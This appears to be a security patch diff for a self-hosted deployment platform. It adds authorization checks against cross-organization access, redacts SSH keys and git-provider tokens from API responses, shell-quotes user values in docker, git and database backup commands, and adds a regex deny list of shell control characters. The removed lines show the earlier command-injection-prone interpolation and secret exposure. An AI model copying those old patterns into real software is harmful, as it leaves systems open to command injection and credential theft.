const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
}
return await getGithubBranches(input); return await getGithubBranches(input);
}), }),
githubProviders: protectedProcedure.query(async ({ ctx }) => { githubProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -67,8 +78,10 @@ export const githubRouter = createTRPCRouter({
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiFindOneGithub) .input(apiFindOneGithub)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
try { try {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
const result = await getGithubRepositories(input.githubId); const result = await getGithubRepositories(input.githubId);
return `Found ${result.length} repositories`; return `Found ${result.length} repositories`;
} catch (err) { } catch (err) {

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
createGitlab, createGitlab,
findGitlabById, findGitlabById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -51,9 +52,13 @@ export const gitlabRouter = createTRPCRouter({
}); });
} }
}), }),
one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => { one: protectedProcedure
return await findGitlabById(input.gitlabId); .input(apiFindOneGitlab)
}), .query(async ({ input, ctx }) => {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return gitlab;
}),
gitlabProviders: protectedProcedure.query(async ({ ctx }) => { gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -86,19 +91,27 @@ export const gitlabRouter = createTRPCRouter({
}), }),
getGitlabRepositories: protectedProcedure getGitlabRepositories: protectedProcedure
.input(apiFindOneGitlab) .input(apiFindOneGitlab)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
return await getGitlabRepositories(input.gitlabId); return await getGitlabRepositories(input.gitlabId);
}), }),
getGitlabBranches: protectedProcedure getGitlabBranches: protectedProcedure
.input(apiFindGitlabBranches) .input(apiFindGitlabBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.gitlabId) {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
}
return await getGitlabBranches(input); return await getGitlabBranches(input);
}), }),
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiGitlabTestConnection) .input(apiGitlabTestConnection)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
try { try {
const gitlab = await findGitlabById(input.gitlabId);
await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
const result = await testGitlabConnection(input); const result = await testGitlabConnection(input);
return `Found ${result} repositories`; return `Found ${result} repositories`;

View File

@@ -9,6 +9,7 @@ import {
getPublicIpWithFallback, getPublicIpWithFallback,
haveActiveServices, haveActiveServices,
IS_CLOUD, IS_CLOUD,
redactServerSshKey,
removeDeploymentsByServerId, removeDeploymentsByServerId,
serverAudit, serverAudit,
serverSetup, serverSetup,
@@ -105,7 +106,7 @@ export const serverRouter = createTRPCRouter({
}); });
} }
return server; return redactServerSshKey(server);
}), }),
getDefaultCommand: withPermission("server", "read") getDefaultCommand: withPermission("server", "read")
.input(apiFindOneServer) .input(apiFindOneServer)
@@ -436,7 +437,7 @@ export const serverRouter = createTRPCRouter({
await updateServersBasedOnQuantity(admin.id, admin.serversQuantity); await updateServersBasedOnQuantity(admin.id, admin.serversQuantity);
} }
return currentServer; return redactServerSshKey(currentServer);
} catch (error) { } catch (error) {
throw error; throw error;
} }

View File

@@ -18,12 +18,30 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(), serverId: z.string().optional(),
}), }),
) )
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getSwarmNodes(input.serverId); return await getSwarmNodes(input.serverId);
}), }),
getNodeInfo: withPermission("server", "read") getNodeInfo: withPermission("server", "read")
.input(z.object({ nodeId: z.string(), serverId: z.string().optional() })) .input(z.object({ nodeId: z.string(), serverId: z.string().optional() }))
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getNodeInfo(input.nodeId, input.serverId); return await getNodeInfo(input.nodeId, input.serverId);
}), }),
getNodeApps: withPermission("server", "read") getNodeApps: withPermission("server", "read")
@@ -32,7 +50,16 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(), serverId: z.string().optional(),
}), }),
) )
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return getNodeApplications(input.serverId); return getNodeApplications(input.serverId);
}), }),
getAppInfos: withPermission("server", "read") getAppInfos: withPermission("server", "read")
@@ -54,7 +81,16 @@ export const swarmRouter = createTRPCRouter({
serverId: z.string().optional(), serverId: z.string().optional(),
}), }),
) )
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.serverId) {
const server = await findServerById(input.serverId);
if (server.organizationId !== ctx.session?.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to access this server",
});
}
}
return await getApplicationInfo(input.appName, input.serverId); return await getApplicationInfo(input.appName, input.serverId);
}), }),
getContainerStats: withPermission("server", "read") getContainerStats: withPermission("server", "read")

View File

@@ -35,6 +35,7 @@ import { TRPCError } from "@trpc/server";
import * as bcrypt from "bcrypt"; import * as bcrypt from "bcrypt";
import { and, asc, eq, gt, ne } from "drizzle-orm"; import { and, asc, eq, gt, ne } from "drizzle-orm";
import { z } from "zod"; import { z } from "zod";
import { apiKeyNameSchema } from "@/lib/api-keys";
import { audit } from "@/server/api/utils/audit"; import { audit } from "@/server/api/utils/audit";
import { import {
adminProcedure, adminProcedure,
@@ -45,7 +46,7 @@ import {
} from "../trpc"; } from "../trpc";
const apiCreateApiKey = z.object({ const apiCreateApiKey = z.object({
name: z.string().min(1), name: apiKeyNameSchema,
prefix: z.string().optional(), prefix: z.string().optional(),
expiresIn: z.number().optional(), expiresIn: z.number().optional(),
metadata: z.object({ metadata: z.object({

View File

@@ -102,10 +102,24 @@ export const findApplicationById = async (applicationId: string) => {
redirects: true, redirects: true,
security: true, security: true,
ports: true, ports: true,
gitlab: true, gitlab: {
github: true, columns: { secret: false, accessToken: false, refreshToken: false },
bitbucket: true, },
gitea: true, github: {
columns: {
githubClientSecret: false,
githubPrivateKey: false,
githubWebhookSecret: false,
},
},
bitbucket: { columns: { appPassword: false, apiToken: false } },
gitea: {
columns: {
clientSecret: false,
accessToken: false,
refreshToken: false,
},
},
server: true, server: true,
previewDeployments: true, previewDeployments: true,
registry: { columns: { password: false } }, registry: { columns: { password: false } },

View File

@@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab";
import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw"; import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm"; import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { encodeBase64 } from "../utils/docker/utils"; import { encodeBase64 } from "../utils/docker/utils";
import { getDokployUrl } from "./admin"; import { getDokployUrl } from "./admin";
@@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => {
const projectPath = join(COMPOSE_PATH, compose.appName, "code"); const projectPath = join(COMPOSE_PATH, compose.appName, "code");
const path = const path =
compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath; compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath;
const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`; const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`;
if (compose.composeType === "docker-compose") { if (compose.composeType === "docker-compose") {
if (compose.serverId) { if (compose.serverId) {
await execAsyncRemote( await execAsyncRemote(

View File

@@ -2,6 +2,7 @@ import {
execAsync, execAsync,
execAsyncRemote, execAsyncRemote,
} from "@dokploy/server/utils/process/execAsync"; } from "@dokploy/server/utils/process/execAsync";
import { quote } from "shell-quote";
export const getContainers = async (serverId?: string | null) => { export const getContainers = async (serverId?: string | null) => {
try { try {
@@ -519,7 +520,7 @@ export const getSwarmNodes = async (serverId?: string) => {
export const getNodeInfo = async (nodeId: string, serverId?: string) => { export const getNodeInfo = async (nodeId: string, serverId?: string) => {
try { try {
const command = `docker node inspect ${nodeId} --format '{{json .}}'`; const command = `docker node inspect ${quote([nodeId])} --format '{{json .}}'`;
let stdout = ""; let stdout = "";
let stderr = ""; let stderr = "";
if (serverId) { if (serverId) {

View File

@@ -119,3 +119,30 @@ export const getAccessibleGitProviderIds = async (session: {
} }
return result; return result;
}; };
/**
* Authorizes read access to a specific git provider for the current session.
* Throws if the provider belongs to a different organization (cross-org IDOR)
* or if the caller is not entitled to it within the active organization.
* Must be called before returning any git-provider record that carries secrets
* (OAuth tokens, app private keys, webhook secrets).
*/
export const assertGitProviderAccess = async (
session: { userId: string; activeOrganizationId: string },
provider: { gitProviderId: string; organizationId: string },
) => {
if (provider.organizationId !== session.activeOrganizationId) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Git provider not found",
});
}
const accessibleIds = await getAccessibleGitProviderIds(session);
if (!accessibleIds.has(provider.gitProviderId)) {
throw new TRPCError({
code: "FORBIDDEN",
message: "You don't have access to this git provider",
});
}
};

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm"; import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { validUniqueServerAppName } from "./project"; import { validUniqueServerAppName } from "./project";
@@ -140,7 +141,7 @@ export const deployLibsql = async (
if (libsql.serverId) { if (libsql.serverId) {
await execAsyncRemote( await execAsyncRemote(
libsql.serverId, libsql.serverId,
`docker pull ${libsql.dockerImage}`, `docker pull ${quote([libsql.dockerImage])}`,
onData, onData,
); );
} else { } else {

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm"; import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { validUniqueServerAppName } from "./project"; import { validUniqueServerAppName } from "./project";
@@ -145,7 +146,7 @@ export const deployMariadb = async (
if (mariadb.serverId) { if (mariadb.serverId) {
await execAsyncRemote( await execAsyncRemote(
mariadb.serverId, mariadb.serverId,
`docker pull ${mariadb.dockerImage}`, `docker pull ${quote([mariadb.dockerImage])}`,
onData, onData,
); );
} else { } else {

View File

@@ -12,6 +12,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm"; import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { validUniqueServerAppName } from "./project"; import { validUniqueServerAppName } from "./project";
@@ -160,7 +161,7 @@ export const deployMongo = async (
if (mongo.serverId) { if (mongo.serverId) {
await execAsyncRemote( await execAsyncRemote(
mongo.serverId, mongo.serverId,
`docker pull ${mongo.dockerImage}`, `docker pull ${quote([mongo.dockerImage])}`,
onData, onData,
); );
} else { } else {

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm"; import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { validUniqueServerAppName } from "./project"; import { validUniqueServerAppName } from "./project";
@@ -143,7 +144,7 @@ export const deployMySql = async (
if (mysql.serverId) { if (mysql.serverId) {
await execAsyncRemote( await execAsyncRemote(
mysql.serverId, mysql.serverId,
`docker pull ${mysql.dockerImage}`, `docker pull ${quote([mysql.dockerImage])}`,
onData, onData,
); );
} else { } else {

View File

@@ -11,6 +11,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq, getTableColumns } from "drizzle-orm"; import { eq, getTableColumns } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { validUniqueServerAppName } from "./project"; import { validUniqueServerAppName } from "./project";
@@ -155,7 +156,7 @@ export const deployPostgres = async (
if (postgres.serverId) { if (postgres.serverId) {
await execAsyncRemote( await execAsyncRemote(
postgres.serverId, postgres.serverId,
`docker pull ${postgres.dockerImage}`, `docker pull ${quote([postgres.dockerImage])}`,
onData, onData,
); );
} else { } else {

View File

@@ -10,6 +10,7 @@ import { pullImage } from "@dokploy/server/utils/docker/utils";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync"; import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm"; import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
import { validUniqueServerAppName } from "./project"; import { validUniqueServerAppName } from "./project";
@@ -110,7 +111,7 @@ export const deployRedis = async (
if (redis.serverId) { if (redis.serverId) {
await execAsyncRemote( await execAsyncRemote(
redis.serverId, redis.serverId,
`docker pull ${redis.dockerImage}`, `docker pull ${quote([redis.dockerImage])}`,
onData, onData,
); );
} else { } else {

View File

@@ -53,6 +53,27 @@ export const findServerById = async (serverId: string) => {
return currentServer; return currentServer;
}; };
/**
* Removes the SSH private key material from a server record before it is sent
* to a client. `findServerById` eagerly loads the `sshKey` relation (needed for
* server-side SSH operations), but the private key must never leave the server:
* no client feature consumes it, and returning it exposed it to any member with
* only `server:read`. Server-side callers keep using `findServerById` directly.
*/
export const redactServerSshKey = <
T extends { sshKey?: { privateKey: string } | null },
>(
serverRecord: T,
): T => {
if (!serverRecord.sshKey) {
return serverRecord;
}
return {
...serverRecord,
sshKey: { ...serverRecord.sshKey, privateKey: "" },
};
};
export const findServersByUserId = async (userId: string) => { export const findServersByUserId = async (userId: string) => {
const orgs = await db.query.organization.findMany({ const orgs = await db.query.organization.findMany({
where: eq(organization.ownerId, userId), where: eq(organization.ownerId, userId),

View File

@@ -2,6 +2,7 @@ import { logger } from "@dokploy/server/lib/logger";
import type { BackupSchedule } from "@dokploy/server/services/backup"; import type { BackupSchedule } from "@dokploy/server/services/backup";
import type { Destination } from "@dokploy/server/services/destination"; import type { Destination } from "@dokploy/server/services/destination";
import { scheduledJobs, scheduleJob } from "node-schedule"; import { scheduledJobs, scheduleJob } from "node-schedule";
import { quote } from "shell-quote";
import { keepLatestNBackups } from "."; import { keepLatestNBackups } from ".";
import { runComposeBackup } from "./compose"; import { runComposeBackup } from "./compose";
import { runLibsqlBackup } from "./libsql"; import { runLibsqlBackup } from "./libsql";
@@ -90,11 +91,16 @@ export const getS3Credentials = (destination: Destination) => {
return rcloneFlags; return rcloneFlags;
}; };
// User-controlled values (database name, user, password) are passed to the
// container as environment variables via `docker exec -e VAR=<escaped>` and
// referenced as "$VAR" inside the inner shell, so they never appear in the
// inner command text. The -e value is escaped for the outer shell with
// shell-quote; the inner script is single-quoted and reads the env vars.
export const getPostgresBackupCommand = ( export const getPostgresBackupCommand = (
database: string, database: string,
databaseUser: string, databaseUser: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U ${databaseUser} --no-password '${database}' | gzip"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID bash -c 'set -o pipefail; pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER" --no-password "$DB_NAME" | gzip'`;
}; };
export const getMariadbBackupCommand = ( export const getMariadbBackupCommand = (
@@ -102,14 +108,14 @@ export const getMariadbBackupCommand = (
databaseUser: string, databaseUser: string,
databasePassword: string, databasePassword: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mariadb-dump --user='${databaseUser}' --password='${databasePassword}' --single-transaction --quick --databases ${database} | gzip"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mariadb-dump --user="$DB_USER" --password="$DB_PASS" --single-transaction --quick --databases "$DB_NAME" | gzip'`;
}; };
export const getMysqlBackupCommand = ( export const getMysqlBackupCommand = (
database: string, database: string,
databasePassword: string, databasePassword: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mysqldump --default-character-set=utf8mb4 -u 'root' --password='${databasePassword}' --single-transaction --no-tablespaces --quick '${database}' | gzip"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mysqldump --default-character-set=utf8mb4 -u root --password="$DB_PASS" --single-transaction --no-tablespaces --quick "$DB_NAME" | gzip'`;
}; };
export const getMongoBackupCommand = ( export const getMongoBackupCommand = (
@@ -117,11 +123,11 @@ export const getMongoBackupCommand = (
databaseUser: string, databaseUser: string,
databasePassword: string, databasePassword: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID bash -c "set -o pipefail; mongodump -d '${database}' -u '${databaseUser}' -p '${databasePassword}' --archive --authenticationDatabase admin --gzip"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID bash -c 'set -o pipefail; mongodump -d "$DB_NAME" -u "$DB_USER" -p "$DB_PASS" --archive --authenticationDatabase admin --gzip'`;
}; };
export const getLibsqlBackupCommand = (database: string) => { export const getLibsqlBackupCommand = (database: string) => {
return `docker exec -i $CONTAINER_ID sh -c "tar cf - -C /var/lib/sqld ${database} | gzip"`; return `docker exec -e DB_NAME=${quote([database])} -i $CONTAINER_ID sh -c 'tar cf - -C /var/lib/sqld "$DB_NAME" | gzip'`;
}; };
export const getServiceContainerCommand = (appName: string) => { export const getServiceContainerCommand = (appName: string) => {

View File

@@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`;
return bashCommand; return bashCommand;
}; };
// Shell control characters that must never appear in a user-provided compose
// command: they would let it break out of the `docker ${command}` invocation
// into arbitrary host commands. A normal docker compose CLI line never needs them.
const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
const sanitizeCommand = (command: string) => { const sanitizeCommand = (command: string) => {
const sanitizedCommand = command.trim(); const sanitizedCommand = command.trim();
if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) {
throw new Error(
"Invalid characters in compose command: shell control characters are not allowed",
);
}
const parts = sanitizedCommand.split(/\s+/); const parts = sanitizedCommand.split(/\s+/);
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
@@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => {
let command = ""; let command = "";
if (composeType === "docker-compose") { if (composeType === "docker-compose") {
command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`; command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`;
} else if (composeType === "stack") { } else if (composeType === "stack") {
command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`; command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`;
} }
return command; return command;
@@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
const encodedContent = encodeBase64(envFileContent); const encodedContent = encodeBase64(envFileContent);
return ` return `
touch ${envFilePath}; touch ${quote([envFilePath])};
echo "${encodedContent}" | base64 -d > "${envFilePath}"; echo "${encodedContent}" | base64 -d > ${quote([envFilePath])};
`; `;
}; };

View File

@@ -85,9 +85,9 @@ export const getDockerCommand = (application: ApplicationNested) => {
} }
command += ` command += `
echo "Building ${appName}" ; echo ${quote([`Building ${appName}`])} ;
cd ${dockerContextPath} || { cd ${quote([dockerContextPath])} || {
echo "❌ The path ${dockerContextPath} does not exist" ; echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
exit 1; exit 1;
} }

View File

@@ -1,6 +1,7 @@
import path from "node:path"; import path from "node:path";
import { getStaticCommand } from "@dokploy/server/utils/builders/static"; import { getStaticCommand } from "@dokploy/server/utils/builders/static";
import { nanoid } from "nanoid"; import { nanoid } from "nanoid";
import { quote } from "shell-quote";
import { prepareEnvironmentVariablesForShell } from "../docker/utils"; import { prepareEnvironmentVariablesForShell } from "../docker/utils";
import { getBuildAppDirectory } from "../filesystem/directory"; import { getBuildAppDirectory } from "../filesystem/directory";
import type { ApplicationNested } from "."; import type { ApplicationNested } from ".";
@@ -52,10 +53,10 @@ export const getNixpacksCommand = (application: ApplicationNested) => {
bashCommand += ` bashCommand += `
docker create --name ${buildContainerId} ${appName} docker create --name ${buildContainerId} ${appName}
mkdir -p ${localPath} mkdir -p ${quote([localPath])}
docker cp ${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""} ${path.join(buildAppDirectory, publishDirectory)} || { docker cp ${quote([`${buildContainerId}:/app/${publishDirectory}${isDirectory ? "/." : ""}`])} ${quote([localPath])} || {
docker rm ${buildContainerId} docker rm ${buildContainerId}
echo "❌ Copying ${publishDirectory} to ${path.join(buildAppDirectory, publishDirectory)} failed" ; echo ${quote([`❌ Copying ${publishDirectory} to ${localPath} failed`])} ;
exit 1; exit 1;
} }
docker rm ${buildContainerId} docker rm ${buildContainerId}

View File

@@ -26,11 +26,14 @@ export const addSuffixToVolumesInServices = (
if (_.has(newServiceConfig, "volumes")) { if (_.has(newServiceConfig, "volumes")) {
newServiceConfig.volumes = _.map(newServiceConfig.volumes, (volume) => { newServiceConfig.volumes = _.map(newServiceConfig.volumes, (volume) => {
if (_.isString(volume)) { if (_.isString(volume)) {
const [volumeName, path] = volume.split(":"); // remainder is the container path plus optional access mode (:ro, :z, :Z)
const [volumeName, ...pathAndMode] = volume.split(":");
const remainder = pathAndMode.join(":");
// skip bind mounts and variables (e.g. $PWD) // skip bind mounts and variables (e.g. $PWD)
if ( if (
!volumeName || !volumeName ||
!remainder ||
volumeName.startsWith(".") || volumeName.startsWith(".") ||
volumeName.startsWith("/") || volumeName.startsWith("/") ||
volumeName.startsWith("$") volumeName.startsWith("$")
@@ -43,10 +46,10 @@ export const addSuffixToVolumesInServices = (
if (parts.length > 1) { if (parts.length > 1) {
const baseName = parts[0]; const baseName = parts[0];
const rest = parts.slice(1).join("/"); const rest = parts.slice(1).join("/");
return `${baseName}-${suffix}/${rest}:${path}`; return `${baseName}-${suffix}/${rest}:${remainder}`;
} }
return `${volumeName}-${suffix}:${path}`; return `${volumeName}-${suffix}:${remainder}`;
} }
if (_.isObject(volume) && volume.type === "volume" && volume.source) { if (_.isObject(volume) && volume.type === "volume" && volume.source) {
return { return {

View File

@@ -11,6 +11,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export type ApplicationWithBitbucket = InferResultType< export type ApplicationWithBitbucket = InferResultType<
"applications", "applications",
@@ -124,8 +125,8 @@ export const cloneBitbucketRepository = async ({
const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository; const repoToUse = entity.bitbucketRepositorySlug || bitbucketRepository;
const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`; const repoclone = `bitbucket.org/${bitbucketOwner}/${repoToUse}.git`;
const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone); const cloneUrl = getBitbucketCloneUrl(bitbucket, repoclone);
command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${bitbucketBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(bitbucketBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -1,4 +1,5 @@
import { safeDockerLoginCommand } from "@dokploy/server/services/registry"; import { safeDockerLoginCommand } from "@dokploy/server/services/registry";
import { quote } from "shell-quote";
import type { ApplicationNested } from "../builders"; import type { ApplicationNested } from "../builders";
export const buildRemoteDocker = async (application: ApplicationNested) => { export const buildRemoteDocker = async (application: ApplicationNested) => {
@@ -9,7 +10,7 @@ export const buildRemoteDocker = async (application: ApplicationNested) => {
throw new Error("Docker image not found"); throw new Error("Docker image not found");
} }
let command = ` let command = `
echo "Pulling ${dockerImage}"; echo ${quote([`Pulling ${dockerImage}`])};
`; `;
if (username && password) { if (username && password) {
@@ -22,7 +23,7 @@ fi
} }
command += ` command += `
docker pull ${dockerImage} 2>&1 || { docker pull ${quote([dockerImage])} 2>&1 || {
echo "❌ Pulling image failed"; echo "❌ Pulling image failed";
exit 1; exit 1;
} }

View File

@@ -5,6 +5,7 @@ import {
updateSSHKeyById, updateSSHKeyById,
} from "@dokploy/server/services/ssh-key"; } from "@dokploy/server/services/ssh-key";
import { execAsync, execAsyncRemote } from "../process/execAsync"; import { execAsync, execAsyncRemote } from "../process/execAsync";
import { shellWord } from "./utils";
interface CloneGitRepository { interface CloneGitRepository {
appName: string; appName: string;
@@ -61,7 +62,7 @@ export const cloneGitRepository = async ({
} }
command += `rm -rf ${outputPath};`; command += `rm -rf ${outputPath};`;
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
command += `echo "Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo Custom ${customGitUrl} to ${outputPath}: ✅`)};`;
if (customGitSSHKeyId) { if (customGitSSHKeyId) {
await updateSSHKeyById({ await updateSSHKeyById({
@@ -78,8 +79,8 @@ export const cloneGitRepository = async ({
command += "chmod 600 /tmp/id_rsa;"; command += "chmod 600 /tmp/id_rsa;";
command += `export GIT_SSH_COMMAND="${gitSshCommand}";`; command += `export GIT_SSH_COMMAND="${gitSshCommand}";`;
} }
command += `if ! git clone --branch ${customGitBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${customGitUrl} ${outputPath}; then command += `if ! git clone --branch ${shellWord(customGitBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} --progress ${shellWord(customGitUrl)} ${shellWord(outputPath)}; then
echo "❌ [ERROR] Fail to clone the repository ${customGitUrl}"; echo ${shellWord(`❌ [ERROR] Fail to clone the repository ${customGitUrl}`)};
exit 1; exit 1;
fi fi
`; `;
@@ -114,7 +115,7 @@ const addHostToKnownHostsCommand = (repositoryURL: string) => {
// ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer // ssh-keyscan is best-effort: some Git hosts (e.g. Hugging Face) never answer
// it, and its exit code must not abort the clone under `set -e`. The clone's // it, and its exit code must not abort the clone under `set -e`. The clone's
// own host-key check (StrictHostKeyChecking=accept-new) is the real boundary. // own host-key check (StrictHostKeyChecking=accept-new) is the real boundary.
return `ssh-keyscan -p ${port} ${domain} >> ${knownHostsPath} || true;`; return `ssh-keyscan -p ${Number(port)} ${shellWord(domain)} >> ${knownHostsPath} || true;`;
}; };
const sanitizeRepoPathSSH = (input: string) => { const sanitizeRepoPathSSH = (input: string) => {
const SSH_PATH_RE = new RegExp( const SSH_PATH_RE = new RegExp(

View File

@@ -7,6 +7,7 @@ import {
} from "@dokploy/server/services/gitea"; } from "@dokploy/server/services/gitea";
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { shellWord } from "./utils";
export const getErrorCloneRequirements = (entity: { export const getErrorCloneRequirements = (entity: {
giteaRepository?: string | null; giteaRepository?: string | null;
@@ -176,8 +177,8 @@ export const cloneGiteaRepository = async ({
giteaRepository!, giteaRepository!,
); );
